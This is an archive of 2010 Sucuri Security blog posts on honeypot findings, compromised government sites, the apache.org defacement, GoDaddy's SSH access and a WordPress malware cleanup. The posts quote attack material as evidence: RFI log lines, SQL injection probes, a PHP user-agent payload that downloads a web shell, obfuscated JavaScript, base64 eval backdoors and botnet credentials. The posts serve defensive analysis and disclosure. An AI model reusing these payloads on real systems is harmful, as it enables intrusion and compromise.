Sucuri Security

Cloud-based (FILE) Integrity Monitoring

2010-03-09T18:12:00.003-05:00

If you are a system administrator or have ever worked with security, you probably heard the terms file integrity monitoring or file integrity checking. If you didn't, you at least heard of tripwire or OSSEC or AIDS (they are popular open source file integrity checking tools).

How do they work? Generally they are installed on a server, where they create a cryptographic checksum of all the critical files (and registry entries) and if/when something changes you get an alert. Useful, no? So, if an attacker (or anyone) goes and modify your hosts file you would get the alert: "File /etc/hosts has been modified".

Yes, very useful!

However, as we move to a cloud-based world, how can this still work?

Your email is now stored at gmail, your Whois data is stored at a registrar that you don't control either. Your DNS may be hosted outside too, where you can't verify locally if the zones have been changed. Your sites may be hosted a multiple locations outside your control.

How do you guarantee that the integrity of your data is intact? How do you guarantee that the integrity of your Internet presence (of your brand, your site) is intact?

If you remember the last time twitter was hacked, the attackers didn't get access to their servers, but they attacked their registrar and modified the DNS to point to another system. Nothing that twitter could have protected from the inside.

That's where cloud-based (or web-based) integrity monitoring comes into play. As we become more decentralized, we need a way to verify that our external data is still safe.

Well, that's what our company does. We offer a cloud-based Integrity monitoring solution that verifies that your Internet presence have not been altered. We monitor your DNS, your Whois information, your web sites, your blacklist status (at multiple databases), your SSL certificates, and alert you whenever their integrity is changed.

How useful is it? As the integrity of your data changes, it allows us to detect malware injection, spam, defacements, attempts to steal domains, database errors and even if your site just went offline. Curious to try? visit: http://sucuri.net and let us know what you think.

Screenshot of the apache.org defacement (10 years ago)

2010-03-09T14:27:00.002-05:00

We recently published a case study of the apache.org defacement that happened 10 years ago. You can read it here: Apache.org defaced - Security archive case study

We didn't publish the screenshot of the defacement, but our friend @EdiStrosar sent us a link to it. Check it out:
Very funny...

Ecuador Government site hacked and spreading malware

2010-03-08T13:13:00.003-05:00

Colombia, Venezuela and now Ecuador. How far are we from reporting the whole South America? :)

The web site from the 'Municipio del Cantón Mejía' in Ecuador has been hosting malware and also attacking our honeypots for a while. As always, we reported and didn't hear anything back.

They are hosting the common FX29ID php exploit:

http://www.municipiodemejia.gov.ec/administrator/components/com_search/sken/id1(feelcomz).txt

< ? php
##[ Fxxxx ]##
fx("ID","FeeL"."CoMz");
$P = @getcwd();
$IP = @getenv("SERVER_ADDR");
$UID = fx29exec("id");
fx("SAFE",@safemode()?"ON":"OFF");
fx("OS",@PHP_OS);
fx("UNAME",@php_uname());
fx("SERVER",($IP)?$IP:"-");
fx("USER",@get_current_user());
fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());
fx("DIR",$P);
fx("PERM",(@is_writable($P))?"[W]":"[R]");
fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));
fx("DISFUNC",@getdisfunc());
##[ FX29SHEXEC ]##

Also attempting RFI attacks against our systems (190.152.217.250 is their IP address):

SCAN:190.152.217.250 /xxx/new-visitor.inc.php?lvc_include_dir=http://www.j8design.com/id1.txt?
190.152.217.250 /xxx/show.php?path= http://kucing1.fileave.com/id1.txt?
190.152.217.250 //?_SERVER[DOCUMENT_ROOT]= http://clompunk.webs.com/id1.txt?
190.152.217.250 //bbs///skin/buzzard_espoon/setup.php?dir= http://www.hyonsvc.co.kr//bbs//icon/id1.txt????????
190.152.217.250 //delete_comment.php?board_skin_path= http://www.hyonsvc.co.kr//bbs//icon/id1.txt

If you know anyone at the Ecuador .gov, let them know about it. Hopefully they will get it fixed soon.

Apache.org defaced - Security archive case study

2010-03-07T17:07:00.005-05:00

Security Archive: Remembering security incidents to make sure we don't commit the same mistakes over and over again.

Want to read more stories like this one? Follow @sucuri_security on twitter or subscribe to our RSS feed. Interested in a web site security monitoring solution? Visit sucuri.net.

May 5th, 2000. It was almost ten years ago that news came out. The web site for the most popular web server got defaced. Yes, Apache.org was hacked. The funny part is that the attackers were "nice" and only modified the page to add a Microsoft banner ("Powered by Microsoft BackOffice").

How Embarrassing. They were "white hats" (according to Apache itself) and did nothing more than to add that funny banner. However, people were worried about what else they could have done or what else might be compromised. Was the Apache source code safe? Did anyone add a backdoor there? Even worse, how they got in? Was it caused by a 0-day on Apache itself?

The attackers itself explained how they got in and it was caused by a few configuration mistakes made by the Apache team.

Mistakes:

Their HTTP root directory (www_root) was the same as their FTP root directory (ftp_root). So visiting http://apache.org was using a directory inside ftp://apache.org.
Their FTP allowed anonymous access
They had a world writable directory inside that FTP server
They didn't have a deny-all policy in their firewall
MySQL was running as root

None of these are big issues by itself, but when merged together, they gave the attackers full access to the Apache server.

How they got in?

They added a PHP file inside that FTP world-writable directory and executed it via the HTTP site. After that they pushed a remote shell (to listen on port 65533) and got shell access! They looked around, found the database password inside the bugzilla configuration file, created a test database and exported it as a root executable file (remember, mysql was running as root - SELECT.. INTO OUTFILE) and after a few more tricks they owned everything...

What to learn from it and protect ourselves?

Set up a default-deny policy on your firewall. If they had that (only allowing port 80 for example), their remote shell would not have worked. How is your firewall configured?
The HTTP files should be owned by root, not the apache user itself. The apache user only need read access and maybe a write access to one or two directories
Your web_root should be different from your ftp_root. I see lot of servers where the /home/[site] is both!
Remove anonymous FTP access! If you need this functionality, configure a separate server for that. Anonymous write-access? Never!
Don't run your services as root! They only got root because mysql was running as root! Always use privilege-separated users

Want to see the full story? It is very entertaining. Check out: http://www.dataloss.net/papers/how.defaced.apache.org.txt

The Importance of logging for web applications - Security talk

2010-03-04T10:10:00.004-05:00

If you think that your logs are only useful when something crashes or when you need to troubleshoot errors on your web application, think again!

At our Sucuri Labs, we have multiple online tools and we have good logging on all of them. We not only log errors, but also successful requests. For example, on our Application to get the real URL from a shortened one, this is how it looks when someone uses it:

2010-03-04 05:56:54 [srcip] Check URL for http://bit.ly/XYZ.
2010-03-04 05:57:01 [srcip] Check URL for http://bit.ly/ABC.

Yes,that gets logged on our internal success log. When something fails, or someone gives us an invalid URL, thats how it looks like:

2010-03-04 06:45:37 [srcip] Check URL: Invalid domain name 'google'..

That gives us an overview of what our users are doing and what mistakes they make more often. In this case, the user tried the domain "google", without the .com at the end.

That's very useful from a usability stand point, but from a security perspective, logs can be much more useful. We use those web application logs for at least 3 things:

Detect attacks
Detect application misuse
Detect errors (loss of availability)

1 - Detecting attacks

Users are curious. Most of them are not malicious, but they certainly like to play around and look for vulnerabilities. One user we noticed tried our web scanner against his web site.

2010-02-21 06:52:14 115.49.x.y scanner: Site: www.xx.it

A few minutes after, he started to poke around looking for SQL injections:

2010-02-21 06:52:34 115.49.x.y scanner: Invalid site: www.xx.it'`([{^~'
2010-02-21 06:52:41 115.49.x.y scanner: Invalid site: www.xx.it aND 8=8'
2010-02-21 06:52:41 115.49.x.y scanner: Invalid site: www.xx.it aND 8=3'
2010-02-21 06:52:49 115.49.x.y scanner: Invalid site: www.xx.it' aND '8'='8'
2010-02-21 06:52:57 115.49.x.y scanner: Invalid site: www.xx.it' aND '8'='8'
2010-02-21 06:53:09 115.49.x.y scanner: Invalid site: www.xx.it/**/aND/**/8=8'
2010-02-21 06:53:35 115.49.x.y scanner: Invalid site: www.xx.it%' aND '8%'='8'
2010-02-21 06:53:48 115.49.x.y scanner: Invalid site: www.xx.it XoR 8=8'

He then got blocked automatically by our system. Without those logs, he could have tried and tried forever and we would never notice that. Our application was safe against it, but why let an attacker play around? To block those attacks, we use OSSEC with their active response, which blocks an attacker after 10 invalid attempts.

That's how our OSSEC rule looks like:

<rule id="100906" level="3">
 <match>Invalid site:</match>
 <description>User provided an invalid site.</description>
</rule>
<rule id="100907" level="10" frequency="10" timeframe="360">
 <if_matched_sid>100906</if_matched_sid>
 <same_source_ip>
 <description>Warning: Multiple invalid sites provided.</description>
</rule>

The first rule generates a low level event for each invalid site provided and the second one, actually blocks and generates an alert if it happens more than 10 times from the same source ip.

2 - Detecting application misuse

Detecting application misuse is very similar to detect attacks. Except that in this case the user is not trying to hack us, but use our application in ways we don't allow. For example:

2010-02-24 07:22:50 129.21.a.b scanner: Invalid site: 'site:22'..
2010-02-24 07:30:47 129.21.a.b scanner: Invalid site: 'site:25'..

Instead of giving us a valid domain, the user was trying to give us a port to scan (in this case 22 for ssh and 25 for smtp). We were safe against this, but it raises our awareness of possible ways to misuse our application.

So, why not add some good logs to your application? We didn't go over detecting errors, because everyone does that already, but you also need to log successful attempts and invalid user input too! A simple write_log function before you print any error back to the user, should do it. For example:


function write_log($msg)
{
  $INT_LOGFILE = "/var/logs/myapp/myapp.log";
  if ($handle = fopen($INT_LOGFILE, 'a'))
  {
    fwrite($handle, date('Y-m-d h:i:s ').$_SERVER['REMOTE_ADDR']." ".$msg. ".\n");
    fclose($handle);
  }
}

Just remember to log outside your web directory! You don't want anyone else accessing your logs!

Venezuela Government site hacked and spreading malware

2010-03-02T18:02:00.002-05:00

Since we have been noticing that full-disclosure works, we will continue with that.

We have detected in our honeypots that since January the site www.miranda.gov.ve (from the Venezuela state of Miranda) has been hosting malware and their IP also scanning our honeypots.

We attempted to contact them a few times without any reply, so let's see if anyone will take notice now.

What we saw initially was a few files being used on RFI attacks:

a.b.231.227 - - [16/Feb/2010:01:32:50 -0200] "GET /show.php?path=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"
a.b.231.227 - - [16/Feb/2010:01:32:56 -0200] "GET /xxx.php?path=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"

Later we also saw them attacking our system (190.9.130.13 is their IP address):

190.9.130.13 - - [19/Feb/2010:06:13:17 -0200] "GET /tonuke.php?filnavn=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"
190.9.130.13 - - [19/Feb/2010:06:13:17 -0200] "GET /xxx.php?filnavn=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"

These are some of the files we found so far:

$ lynx --source --dump http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt
<? php /* Fz29ID */ e cho("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fz29ID */
$ lynx --source --dump http://www.miranda.gov.ve/modules/mod_sections/id1.txt
< ? php /* Fg21ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fh21ID */

Note that this is just what was reported from our honeypot systems (all automated). We only go deeper in the analysis when our clients are affected.

Also, one thing that most people don't realize is that if the attackers are able to upload any file to the server and run commands in there, they can also steal confidential information, steal passwords, inject malware to visitors (via javascript), etc.

Honeypot analysis - Full disclosure works

2010-03-01T14:53:00.003-05:00

When all else fails, *full disclosure (the process) seems to work.

Early in January, we sent a bunch of emails to the people at the Georgia Government, after we detected that they were hosting malware. We asked for contacts on Twitter. Nobody replied. Nothing got fixed.

Early in January, we did the same think to the guys at the Colombia Government, and nobody replied and nothing got fixed.

The good news is that after we posted in our blog, people from both governments contacted us and fixed their sites, removed the malware, etc. Awesome! They just needed a bit of attention to look at their security issues.

However, we only go to the full-disclosure route when all else fails. Early in February we detected that one of the UNDP (United Nations development program) sites were hosting malware. We asked for contacts on Twitter, got a reply and everything got fixed within a day.

Same thing with the University of Rhode Island (uri.edu). Their main site was hosting malware, and after we contacted them using the Whois information (and abuse email), everything got fixed within a day.

What to take from that? If you are a site owner, please configure your abuse@ email address, and have clear contact instructions on your site. If you are a security researcher and found something wrong, and nobody listened to you. Try full-disclosure... Blog about it and they might notice.

<marketing plug>Plus, if you want this kind of monitoring for your own Internet presence, check out http://sucuri.net. At Sucuri Security we have two main goals: Monitor your visible Internet presence (via DNS, site content changes, whois, blacklisting status, etc), and to also monitor what is not visible (or easily accessible). So we run multiple honey pots, we monitor IRC chats used by botnets and attackers, multiple forums, etc. All with the goal to protect our clients and notify them if we see any issue in the "underground"</marketing plug>

**Notice: I am talking about full-disclosure, the process. Not the mailing list

GoDaddy Security update

2010-02-24T12:41:00.004-05:00

My last post GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission got a lot of traction and it reached the ears of the GoDaddy people!

I just got off the phone with Neil Warner, GoDaddy's CSO (Chief Security Officer) and he explained the situation to me.

First, I was glad that they heard the customers, heard the complains and took the time to look at it. That was his explanation:

They take security serious and spend a lot of money on intrusion/malware detection to protect their customers

They have a security team 24/7 monitoring all their shared/VPS and private servers

When they detect any issue, they try to fix the problem and that's why they tried to access my box

They store all the passwords encrypted (not one-way hashed which is the recommended), and they can only be retrieved and reversed after a member of the security team opens a ticket and explains the reason for using the password (like to investigate malware)

One thing that made me feel better was that they actually have a process in place to access the passwords and they hold their people accountable for that. Having them encrypted or in clear-text doesn't make much a difference, if the process to recover them is open to anyone in their staff...

He said that most users like their free incident response and malware removal and the way they deal with security issues.

He also said that they should have contacted me before accessing the box, warning me of the possible malware, and that they will do that from now on (good to know).

I am happy they called and explained the situation. +1 for GoDaddy for being open, explaining the issue and trying to improve.

GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission

2010-02-24T08:39:00.005-05:00

*UPDATE: I just got off the phone with Neil Warner, GoDaddy's CSO (Chief Security Officer) and he explained the situation to me. Check it out: GoDaddy Security update

I have been a GoDaddy user for a while and never had problems with them. In fact, differently than some people, I had great support and service from them.

However, one recent situation is making me change my mind about them...

I have my domains and a bunch of VPS (virtual private servers) with GoDaddy and one of those servers is/was hosting the Sucuri's official site.

I am a bit paranoid about security and on all my servers I switch the SSHD port to a different one and restrict to only a few IP addresses. On the offical SSH port (tcp 22), I install a honeypot to detect ssh scans and which passwords/users they use (you can see some of my analysis in this post: Honeypot analysis - Looking at SSH scans)

Anyway, early this year I started posting information about web-based malware and a few days after I did that, I saw on my honeypot logs:

Jan 8 06:55:28 d1 sshd[27670]: Failed password for [mygodaddyuser] from 64.202.160.65 port 49271 ssh2
Jan 8 06:55:30 d1 sshd[27670]: Failed password for [mygodaddyuser] from 64.202.160.65 port 49271 ssh2
Jan 8 06:56:38 d1 sshd[28528]: User root from nat-64-202-160-65.ip.secureserver.net not allowed because listed in DenyUsers
Jan 8 06:56:38 d1 sshd[28528]: Failed none for invalid user root from 64.202.160.65 port 50727 ssh2
Jan 8 06:56:53 d1 sshd[28528]: Failed password for invalid user root from 64.202.160.65 port 50727 ssh2
Jan 8 06:56:55 d1 sshd[28528]: Failed password for invalid user root from 64.202.160.65 port 50727 ssh2

And checking my honeypot logs, I saw:

Jan 8 06:55:28 d1 sshd[27670]: hh: user: [mygodaddyuser]|pass: [MYGODADDYPASS]
Jan 8 06:55:30 d1 sshd[27670]: hh: user: [mygodaddyuser]|pass: [MYGODADDYPREVIOUSPASS]
Jan 8 06:56:53 d1 sshd[28528]: hh: user: root|pass: [MYGODADDYPASS]

I was shocked! My first thought was that someone had stolen my GoDaddy password (that I use to login to their web page) and even my previous password! (I had changed my password a few weeks before that).

I quickly ran and started a panic mode incident response, changed passwords and started to look how I got hacked and what was going on, when I decided to look at the IP address that tried to access my box:

$ whois 64.202.160.65
[Querying whois.arin.net]
[whois.arin.net]

OrgName: GoDaddy.com, Inc.
OrgID: GODAD
Address: 14455 N Hayden Road
Address: Suite 226
City: Scottsdale
StateProv: AZ
PostalCode: 85260
Country: US

NetRange: 64.202.160.0 - 64.202.191.255
CIDR: 64.202.160.0/19
NetName: GO-DADDY-SOFTWARE-INC
NetHandle: NET-64-202-160-0-1
Parent: NET-64-0-0-0-0
NetType: Direct Allocation
NameServer: CNS1.SECURESERVER.NET
NameServer: CNS2.SECURESERVER.NET
NameServer: CNS3.SECURESERVER.NET
Comment:
RegDate: 2002-10-22
Updated: 2007-06-14

Hum.. It came from Godaddy's own network. I was about to send an email to abuse@godaddy.com, whem I got this email:

It has come to our attention that the [your site name] may be infected by malware. We would like to investigate this matter further, however the login credentials we have on file for your server do not allow us access to the server. In order for us to proceed to investigate the possible infection, we require that you provide the proper login credentials to access your server with administrative rights within 48 hours or by January 10th @ 2 pm MST (GMT -0700) by using our "Password Sync" option, or your server will be suspended. To update the logon information, please follow these steps:

Log into your account.
Click on the ‘My Account’ link.
Click on the ‘Dedicated/Virtual Dedicated Servers’ link.
Select the server you need to update the log on information for.
Click on the ‘Open Manager’ link.
Click on the Support: Sync Passwords button.
Enter the current SSH and root information and save the information.

WTF!WTF!WTF! Yes, I cursed them for a while! Why?

They tried to SSH to my "private" server without my authorization!

They wanted my ROOT password and SSH access!

They HAD MY MAIN GODADDY PASSWORD (AND PREVIOUS ONE) in CLEAR-TEXT!

They almost gave me a heart attack

I don't know if anyone find that horrifying, but I do! I would understand storing the initial password for the server in clear-text or something like that. But the main password from my GoDaddy account? Giving their admins access to them so they can SSH to my box? Keeping my old password in clear-text too? SSHing to my box without asking my first? Wow....

The end of the story... After I calmed down, I contacted them and explained about my web-based malware security research and told that I would not give anyone SSH access. If they really required that I would switched providers. They did some investigation, apologized and let me stay... How nice they are...

.ORG whois reporting DNSSEC status

2010-02-20T17:12:00.002-05:00

I was glad to see a handful of whois updates today coming from all the .ORGs that we are monitoring at Sucuri.

Basically now at the end of the Whois, it is showing if that domain is using DNSSEC or not. Example for mozilla.org:

$ whois mozilla.org
Name Server:NS1.MOZILLA.ORG
Name Server:NS2.MOZILLA.ORG
Name Server:NS3.MOZILLA.ORG
DNSSEC:Unsigned

Because of that I got hundreds of notifications about those changes:

Sucuri nbim: www.kernel.org whois modified
Modifications:
86a87
> DNSSEC:Unsigned

Sucuri nbim: ubuntulinux.org whois modified
Modifications:
88a89
> DNSSEC:Unsigned

Sucuri nbim: fsf.org whois modified
Modifications:
86a87
> DNSSEC:Unsigned

And many more... Want to stay updated to what is happening with the whois information of your domains? What about DNS changes, site changes, blacklisting status, etc? Try our Internet presence security monitoring for free to get started.

Colombia Government sites hacked (and spreading malware)

2010-02-18T12:54:00.006-05:00

You would expect that a security-related web site would be secure, no? What about an official web site from a Government? Should that be safe? What about a government web site about security? Shouldn't that be ultra super secure? (yes, I am joking :) )

That's not always the case... <marketing plug>At Sucuri Security we have two main goals: Monitor your visible Internet presence (via DNS, site content changes, whois, blacklisting status, etc), and to also monitor what is not visible (or easily accessible). So we run multiple honey pots, we monitor IRC chats used by botnets and attackers, multiple forums, etc. All with the goal to protect our clients and notify them if we see any issue in the "underground"</marketing plug>.

With this work, we get to see a lot of sites being exploited and attacked. Most of them are small sites, but sometimes we see big companies, .govs and many .edus in there.

One of those government web sites are from Colombia. And they are not a normal .gov site, they are about security and about cyber crimes.

They have two web sites that are currently hacked: http://www.delitosinformaticos.gov.co (related to solving cyber crimes) and
http://www.frentesdeseguridad.gov.co (related to security in general). We tried to contact them and got no replies. We would wait a little more to publish it, but since clem1 mentioned them on our post about Georgia government sites hacked, I think it is time to use full-disclosure to get them fixed.

The first time we saw them was on Dec of last year:

a.b.147.154 - - [22/Dec/2009:15:08:51 -0200] "GET //init_basic.php?GALLERY_BASEDIR=http://www.frentesdeseguridad.gov.co/administrator//modules/respon1.txt? HTTP/1.1" 404 36 "-" "Mozilla/5.0"
a.b.147.154 - - [22/Dec/2009:15:08:51 -0200] "GET /xxx/init_basic.php?GALLERY_BASEDIR=http://www.frentesdeseguridad.gov.co/administrator//modules/respon1.txt? HTTP/1.1" 404 36 "-" "Mozilla/5.0"

They were being used in an RFI (remote file inclusion) attack:

$ lynx --source --dump http://www.frentesdeseguridad.gov.co/administrator//modules/respon1.txt< ?php /* Fx29ID */ echo("FeeL"."CoMz"); echo("FeeL"."CoMz"); /* Fx29ID */ ?>

We kept seeing the same attack for a while, with just a few variations (using file id.txt instead of the respon1.txt):

a.b.21.76 - - [27/Jan/2010:09:22:07 -0200] "GET /index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=http://www.frentesdeseguridad.gov.co/administrator/backups/image/id1.txt?? HTTP/1.1" 404 36 "-" "Mozilla/5.0"

That seemed to have stopped on January 28th. Their web sites even went offline, which I hope they were fixing it. However, on February 14th, it started all over:

a.b.147.154 - - [14/Feb/2010:02:49:47 -0200] "GET /xxx//delete_comment.php?board_skin_path=http://www.delitosinformaticos.gov.co/foro/avatars/.bbs/id1.txt??? HTTP/1.1" 404 36 "-" "Mozilla/5.0"
a.b.147.154 - - [14/Feb/2010:02:49:47 -0200] "GET //delete_comment.php?board_skin_path=http://www.delitosinformaticos.gov.co/foro/avatars/.bbs/id1.txt??? HTTP/1.1" 404 36 "-" "Mozilla/5.0"

Same RFI attack:

$ lynx --source --dump http://www.delitosinformaticos.gov.co/foro/avatars/.bbs/id1.txt
< ?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Plus, in addition to be hosting the malware, it is also actively scanning/attacking others (their IP is 200.93.147.154):

200.93.147.154 /xxx///bbs//skin/sirini_simplism_gallery_v4/setup.php?dir=http://xx??
200.93.147.154 /xxx///wedding//index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=yy??

What's next? Hopefully they will read it and fix the problem.

PHP in the user agent (attacking log analysis tools?)

2010-02-17T13:02:00.003-05:00

Lately I started to see a few web-based attacks with a php script inside the user agent. Something like this:

a.b.229.82 - - [19/Jan/2010:22:43:39 -0700]
"GET /index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../..
/../../proc/self/environ HTTP/1.1" 200 3820 "-" "< ? echo
'_rce_';echo php_uname();echo '_rce_';$ch=curl_init();curl_setopt($ch, CURLOPT_URL,
'http://websalesusa.com/ken');curl_setopt($ ch, CURLOPT_CONNECTTIMEOUT, 15);curl_setopt($ch,
CURLOPT_TIMEOUT, 15);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$cont=curl_exec($ch);
curl_close($ch);$fh=fopen('doc.php', 'w' );fwrite($fh, $cont);fclose($fh); ?>
"

So, inside the user agent it is starting a PHP script that tries to download the file http://websalesusa.com/ken, which is the r57shell.php.

My guess is that it is trying to exploit a web stats or log analysis tool (like webalizer, google analytics, ossec, etc), but I couldn't find which one is vulnerable to that. Any ideas?

**this is what the r57shell looks like: http://sucuri.net/?page=tools&title=blacklist&seeall=1&detail=eadbf8dc38276dba3df4d6db9608db74

Georgia government sites hacked (and spreading malware)

2010-02-15T08:52:00.011-05:00

*UPDATE: A few hours after this post, they removed the malware from justice.gov.ge and other sites. I am glad we had some effect.

You know, you would think that after all the attacks that Georgia suffered in 2008 they would be more careful about the security of their sites.

Well, not really. Even after I sent a bunch of emails to all their addresses that I could find and requested on twitter for contacts in the .ge government, nobody replied and they are still hacked, spreading malware and attacking other systems.

It doesn't look like it is being caused by the Russians or anything like that. And the attackers this time didn't defaced their web page. They just added some malware and scripts to attack others.

How do I know? We run multiple honeypots to detect web-based attacks and malware. And guess who started attacking us?

Analysis

I started seeing the first attacks on January 12th, trying to load RFI (remote files) from psg.gov.ge:

a.b.147.154 - - [12/Jan/2010:14:05:43 -0200] "GET ///?_SERVER[DOCUMENT_ROOT]=http://www.psg.gov.ge//album/respon1.txt? HTTP/1.1" 200 6312 "-" "Mozilla/5.0"
a.b..147.154 - - [12/Jan/2010:14:05:46 -0200] "GET /xxx//?_SERVER[DOCUMENT_ROOT]=http://www.psg.gov.ge//album/respon1.txt? HTTP/1.1" 200 7281 "-" "Mozilla/5.0"

A few days later I started seeing more attacks using malware hosted from www.justice.gov.ge

a.b.63.102 - - [14/Jan/2010:03:04:23 -0200] "GET /xxx*.php?page=http://www.justice.gov.ge//album/respon1.txt?%20? HTTP/1.1" 200 36 "-" "Mozilla/5.0"

That's when I decided to look deeper at the issue. The respon1.txt is a common file used on RFI attacks:

$ lynx --dump --source http://www.justice.gov.ge//album/respon1.txt
< ?php /* Fx29ID */ echo("FeeL"."CoMz"); echo("FeeL"."CoMz"); /* Fx29ID */ ?>

Then I went to look at this "album" directory and that really shocked me. When you visit http://www.justice.gov.ge/album/ you can see a full collection of malware:

From the http://www.justice.gov.ge/album/bot.txt showing credentials to control a botnet, to flooding tools, remote shells, they got everything.

servban=array("irc.allnetwork.org","","");
$bot['admin']="E_motz";
$bot['pass']="gila";
$bot['inick']="identnick";
$bot['pnick']="passwordnick";
$bot['basechan']="#vanjava";

A look at the top of the simbah.txt shows a "funny" message: http://www.justice.gov.ge/album/simbah.txt

# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
# % private hackers pwned your box %
# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%

Even a remote proxy is there at http://www.justice.gov.ge/album/proxy.tgz

Attacking others

If that was not bad enough, by the end of January I started to see their own IP addresses attacking others:

87.253.63.102 - - [01/Feb/2010:04:41:09 -0200] "GET //include/write.php?dir=http://www.gk-rus.ru/images/laknat/.id?? HTTP/1.1" 200 36 "-" "libwww-perl/5.805"
87.253.63.102 - - [01/Feb/2010:04:41:09 -0200] "GET /xxx/include/write.php?dir=http://www.gk-rus.ru/images/laknat/.id?? HTTP/1.1" 200 36 "-" "libwww-perl/5.805"
81.95.173.72 - - [23/Jan/2010:16:07:29 -0200] "GET /xxx/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://krupuk.110mb.com/res1.txt?%20? HTTP/1.1" 200 36 "-" "Mozilla/5.0"

So, at the end, we have some sites from the Georgia government hosting malware and these 4 attacking others:

www.psg.gov.ge - 87.253.63.102 (redirects now to justice.gov.ge)
www.justice.gov.ge - 87.253.63.102
moh.gov.ge - 81.95.173.72
mail.justice.gov.ge - 87.253.63.100

If you have any contact at the Georgie government, let them know about this post. I have been trying to speak with someone since January without success. Maybe with some extra exposure they will notice and fix it.

Removing malware from a Wordpress blog - Case study

2010-02-12T11:05:00.011-05:00

Early this week we were hired to remove some malware from a quite popular web site. The malicious code was there for a little while and the site got blacklisted by google. That's how the owner noticed it.

Everytime someone tried to visit it (either using Chrome or Firefox) or searched for this site on google, that ugly message would show up: Report attack Site.

Uh-oh, not good for a site owner that makes money with ads and can't afford losing users. If they had been using our Web-based Integrity monitor, that would not have happened, but since they didn't, now it was time to fix the problem.

1-Understanding the problem

The first thing we did was to look where and how the code was showing up. We used a simple dump tool to see the source page (lynx is a command-line tool available on most Linux systems):

$lynx --source --dump [siteinquestion]

It shows the whole page source and by analyzing it we saw the following strange javascript (a bit modified to protect the innocent):

(function(){var OgDs='%';var FJQr=('v_61r_20_61_3d_22Scr_69ptEn_67_69ne_22_2c_62_3d_22_56ers_69on()+_22_2cj_3d... _64ex_4ff(_22Chrome_22_29_3c0)_26_26(u_2ei_6ede_78_4ff(_22_57_69_6e_22)_3e0)..
_3b_7d').replace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();

2-Analyzing the javascript

There are multiple ways to analyze a malicious Javascript, and we chose the easier one. We see that they added an escaped javascript, unescaped and used the function eval to parse the content. I copied over the javascript to a local file and modified the final "eval" function for the "alert" one. Now, instead of executing the code, it will print it.

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("src=//martu"+"z.cn/vid<\/ script>");}

So, the unescaped code loads another script from the site martuz.cn. After searching a bit, this seems to be an old attack (from mid-2009), that somehow is still running around. The martuz.cn is now unreachable, so the good news is that the attack is not doing anything against the users.

3-Cleaning up Wordpress

Once we found what the code was and what it was doing, now it was time to remove it from the site. That's what we did:

Backup the whole Wordpress database (using the Export tool and via an SQL dump)

Back the whole Wordpress directory for analysis and removed it from the site

Changed all passwords, unused accounts and services and cleaned up the box

Reinstalled Wordpress from scratch (last version), re-imported the database (after checking that it was safe) and reinstalled their theme from scratch (to make sure it was not hacked too).

Worked with Google to get the site removed from their blacklist

4-Analysis of the malware

Once the site was clean and the client happy, we went to do a better analysis of the attack. First, we did a diff between their Wordpress version and the original one (they were on version 2.8):

$ diff -r -i --strip-trailing-cr -b -B sitedump/public_html wordpress
Only in sitedump/public_html/wp-content/plugins: multi-level-navigation-plugin1
Only in sitedump/public_html/wp-content/plugins: order-categories
Only in sitedump/public_html/wp-content/plugins: seo-automatic-links
Only in sitedump/public_html/wp-content/plugins: wp-contact-form
Only in sitedump/public_html/wp-content/plugins: wp-db-backup

We also did a diff between the original theme and the one they used and no major changes were found. With that, it was clear to us that the problem was in one of the plugins.

We started by searching for that javascript code in the plugins directory and nothing was returned. That means that the code was probably escaped (hidden) in some way. So we searched for
base64_decode or eval (PHP functions generally used by malware authors):

multi-level-navigation-plugin1/images/image.php:< ? php eval(base64_decode('aWYoaXNzZXgkX..IzMDM4MmUzMjMxMzIzYTY0Njk2ODY1NzQ2MTcyNjkzYTYyNzQ2YzY0NmY3YTY1NzInOw==')); ?>
multi-level-navigation-plugin1/images/gifimg.php:< ? php eval(base64_decode('aWYoaXNzZX..zZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>
